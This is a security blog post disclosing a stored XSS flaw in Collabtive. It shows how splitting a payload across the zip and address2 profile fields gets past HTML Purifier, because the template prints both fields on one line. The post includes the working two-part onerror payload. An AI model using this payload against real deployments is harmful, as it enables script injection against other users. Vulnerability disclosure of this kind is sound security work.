How NOT to use HTML Purifier


Posted: 2016-10-16 by Admin

Today we learn how not to use HTML Purifier and not become lulled into false sense of security.

HTML Purifier is an HTML filtering solution that uses a unique combination of robust whitelists and agressive parsing to ensure that not only are XSS attacks thwarted, but the resulting HTML is standards compliant.

The vulnerability was found in Collabtive.

Collabtive is web-based project management software. The project was started in November 2007. It is open source software and provides an alternative to proprietary tools like Basecamp. Collabtive is written in PHP and JavaScript.

Collabtive uses HTML Purifier to filter all user input.

This is the function which Collabtive uses to sanitize the user input.

/include/initfunctions.php
function getArrayVal(array $array, $name)
{
    if (array_key_exists($name, $array)) {
        $config = HTMLPurifier_Config::createDefault();
        $config->set('Cache.SerializerPath', CL_ROOT . "/files/standard/ics");
        $purifier = new HTMLPurifier($config);
        if (!is_array($array[$name])) {
            $clean = $purifier->purify($array[$name]);
        } else {
            $clean = $array[$name];
        }
        return $clean;
    } else {
        return false;
    }
}

Here you can see, every user input gets filtered.

manageuser.php
$name = getArrayVal($_POST, "name");
$realname = getArrayVal($_POST, "realname");
$role = getArrayVal($_POST, "role");
$email = getArrayVal($_POST, "email");
$tel1 = getArrayVal($_POST, "tel1");
$tel2 = getArrayVal($_POST, "tel2");
$company = getArrayVal($_POST, "company");
$address1 = getArrayVal($_POST, "address1");
$address2 = getArrayVal($_POST, "address2");
$state = getArrayVal($_POST, "state");
$country = getArrayVal($_POST, "country");
$locale = getArrayVal($_POST, "locale");
$tags = getArrayVal($_POST, "tags");
$oldpass = getArrayVal($_POST, "oldpass");
$newpass = getArrayVal($_POST, "newpass");
$repeatpass = getArrayVal($_POST, "repeatpass");
$admin = getArrayVal($_POST, "admin");
$turl = getArrayVal($_POST, "web");
$gender = getArrayVal($_POST, "gender");
$zip = getArrayVal($_POST, "zip");
$taski = getArrayVal($_GET, "task");
$fproject = getArrayVal($_GET, "project");

So if we use a simple

"><img src=x onerror=alert('XSS')>

as input. This will be our sanitized result.

<td class="right">\"><img src="x" alt="x" /> </td>

which is quite useless.

But after looking around a little bit, i stepped over this piece.

<td class="right">\"><img \"><img src="x" alt="x" /> </td>

How did I do that?

/templates/standard/userprofile.tpl

<td class="right">{$user.zip}{if $user.zip && $user.adress2} {/if}{$user.adress2} </td>

This is the output of two variables in one line. What leads to the example above.

From the previous testing I knew that I could create an open IMG tag with the following input.

<img src=
<td class="right"><img src=" </td>

After a little bit testing around, i found the other piece.

Input 1:
<img src=
Input 2:
x" onerror=prompt(/xss/)

With these two pieces as input in compination with HTML Purifier and the one line output. Was it possible for me to produce working javascript code.

<td class="right"><img src=" x\" onerror=prompt(/xss/) </td>

Disclosure Timeline: